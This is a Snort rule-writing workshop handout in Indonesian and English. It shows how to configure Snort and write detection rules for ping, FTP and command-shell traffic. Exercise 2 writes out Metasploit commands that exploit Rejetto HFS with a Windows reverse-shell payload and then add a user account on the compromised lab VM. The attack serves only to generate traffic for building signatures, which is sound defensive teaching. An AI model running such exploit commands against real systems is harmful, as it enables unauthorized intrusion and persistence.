SNORT-RULES: Contoh Materi Workshop
Sumber: http://resources.infosecinstitute.com/snort-rules-workshop-part-one/
Install SNORT
- Buat mesin Ubuntu server
- Install SNORT
- Cek versi snort
snort -V
Edit Konfigurasi
- Tambahkan nilai HOME_NET
vi /etc/snort/snort.conf
- Tambahkan nilai HOME_NET sesuai dengan jaringan yang akan di monitor, biasanya di akhiri dengan .0/24
Verifikasi SNORT
Jalankan
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Akan keluar misalnya,
0 Snort rules read
Membuat local.rules Sederhana
Deteksi ping
test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,
sudo nano /etc/snort/rules/local.rules
File tersebut kemungkinan besar kosong. Tambahkan kalimat berikut (sebagai satu line, tanpa enter),
alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:1000001; rev:1; classtype:icmp-event;)
Mari kita lihat syntax dari rules tersebut,
Rule Header
- alert – Rule action. Snort will generate an alert when the set condition is met.
- any – Source IP. Snort will look at all sources.
- any – Source port. Snort will look at all ports.
- -> – Direction. From source to destination.
- $HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
- any – Destination port. Snort will look at all ports on the protected network.
Rule Options
- msg:”ICMP test” – Snort will include this message with the alert.
- sid:1000001 – Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it’s greater than 1,000,000).
- rev:1 – Revision number. This option allows for easier rule maintenance.
- classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.
Jalankan snort configuration test lagi:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Jika kita scroll, kita akan melihat ada satu rule tambahan yang sudah di load.
Jalan kan snort dengan mode IDS, tampilkan alert di console:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
dimana
-c - memberitahukan file konfigurasi yang digunakan -i eth0 - memberitahukan interface yang digunakan -A console - memberitahukan agar alert di tulis di standard output -q - mode "quiet", tidak print banner dll.
Untuk melihat server tempat snort dijalakan, misalnya
ping 192.168.x.x
Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.
Deteksi ftp
Untuk belajar lebih lanjut, buat rule tambahan, edit
sudo gedit /etc/snort/rules/local.rules
Masukan misalnya,
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
Ini untuk mendeteksi traffic FTP. Jalankan snort
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 -K ascii
Coba ftp dari Kali Linux dengan perintah
ftp 192.168.x.x
Maka akan tampak alert.
Cek log, jalankan
ls /var/log/snort
Lihat salah satu folder & file misalnya,
sudo ls /var/log/snort/192.168.x.x sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
File tersebut jika berbentuk bisa baca dengan wireshark
Detect kegagalan ftp
Edit
sudo gedit /etc/snort/rules/local.rules
Tambahkan
alert tcp $HOME_NET 21 -> any any (msg:”FTP failed login”; content:”Login or password incorrect”; sid:1000003; rev:1;)
Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0
Exercise 2: Snort as a Packet Logger
With the rapidly changing attack landscape and vectors out there today, we might not even know what we should be looking for until we’ve seen the attack. Then perhaps, after examining that traffic, we could create a rule for that specific “new” attack. This is exactly how the default publicly available Snort rules are created. We’ll now run Snort in logging mode and see what we’re able to identify the traffic based on the attacks that we do.
In this exercise will simulate an attack on our Windows Server while running Snort in packet logging mode. Then we will examine the logged packets to see if we can identify an attack signature.
Make sure that all 3 VMs (Ubuntu Server, Windows Server, and Kali Linux) are running. On your Kali Linux VM, enter the following into a terminal shell:
msfconsole
This will launch Metasploit Framework, a popular penetration testing platform. It will take a few seconds to load. Ignore the database connection error. Wait until you see the msf> prompt. Once there, enter the following series of commands:
use exploit/windows/http/rejetto_hfs_exec set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.x.x (Kali Linux VM IP address) set RHOST 192.168.x.x (Windows Server 2012 R2 VM IP address) set RPORT 8081
Here we configured an exploit against a vulnerable version of Rejetto HFS HTTP File server that is running on our Windows Server 2012 R2 VM. Before running the exploit, we need to start Snort in packet logging mode. Go to your Ubuntu Server VM and enter the following command in a terminal shell:
sudo snort -dev -q -l /var/log/snort -i eth0
You won’t see any output. Now go back to the msf exploit you have configured on the Kali Linux VM and enter exploit. If the exploit was successful, you should end up with a command shell:
Now that we have access to the system, let’s do the following:
Create a new user account:
net user accountname P@ssword12 /ADD
Change directories to c:
cd \
Make a new directory that’s your name.
mkdir yourname
Now press Ctrl+C and answer y for “yes” to close your command shell access.
Next, go to your Ubuntu Server VM and press Ctrl+C to stop Snort. Enter sudo wireshark into your terminal shell. In Wireshark, go to File->Open and browse to /var/log/snort. At this point we will have several snort.log.* files there. Select the one that was modified most recently and click Open.
You should see quite a few packets captured.
We need to find the ones related to our simulated attack. In Wireshark, select Edit->Find Packet. On the resulting dialog select the String radio button. Next, select Packet Bytes for the Search In criteria. Then for the search string, enter the username you created.
Once you’ve got the search dialog configured, click the Find button. The search should find the packet that contains the string you searched for. Go ahead and select that packet. It will be the dark orange colored one. Right-click it and select Follow TCP Stream.
This action should show you all the commands that were entered in that TCP session. This will include the creation of the account, as well as the other actions.
After you’ve verified your results, go ahead and close the stream window. This should take you back to the packet you selected in the beginning. Now hit your up arrow until you see the ASCII part of your hex dump show “C:\Users\Administrator\Desktop\hfs2.3b>” in the bottom pane. See below.
Note the selected portion in the graphic above. We will use this content to create an alert that will let us know when a command shell is being sent out to another host as a result of the Rejetto HFS exploit. Minimize the Wireshark window (don’t close it just yet).
Exercise 3: Building a custom rule from logged traffic
We want to see an alert show up anytime Snort sees “C:\Users\Administrator\Desktop\hfs2.3b>.” Go to our local.rules file (if you closed it, open it again as root using the same command as we did earlier), and add the following rule on a new line (note that we are escaping all the backslashes to make sure they are included in the content):
alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
Save the file. Run Snort in IDS mode again:
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Now go back to your Kali Linux VM. You should still be at the prompt for the rejetto exploit. Just enter exploit to run it again. Wait until you get command shell access and return to the Snort terminal on Ubuntu Server. You should see that alerts have been generated based on our new rule:
Hit Ctrl+C on Kali Linux terminal and enter y to exit out of the command shell. Then hit Ctrl+C on the Ubuntu Server terminal to stop Snort.
In this case, we have some human-readable content to use in our rule. But that’s not always the case. Let’s modify our rule so it looks for content that is represented in hex format. First, in our local.rules file, copy our latest rule and paste it below in the new line. Now comment out the old rule and change the “rev” value for the new rule to “2.” See below.
Bring up the Wireshark window with our capture again, with the same payload portion selected. Unfortunately, you cannot copy hex values directly from the Wireshark’s main window, but there is an easy solution that will work for us. With the needed content selected, right-click either the corresponding (highlighted) packet in the top pane or the highlighted “Data:” entry in the middle pane and select Copy -> Bytes -> Offset Hex. See below.
Now, in our local.rules file, select the content argument (everything in between the quotation marks) in our new rule, right-click and click Paste. Now carefully remove all extra spaces, line breaks, etc., leaving only the needed hex values. Then put the pipe symbols (|) on both sides. Your finished rule should look like the image below.
Save the file. Start Snort in IDS mode. Next, go to your Kali Linux VM and run the exploit again. Wait until you get the command shell and look at Snort output. You should see alerts generated.
This time we see two alerts instead of four because we included the hex representation of the “>” symbol in the content, making the rule more specific.
Press Ctrl+C to stop Snort. Then, on the Kali Linux VM, press Ctrl+C and enter y to exit out of the command shell and then type in exit to return to the regular prompt.
This is just some of the basics of the Snort rule writing. Later we will look at some more advanced techniques.
End of Lab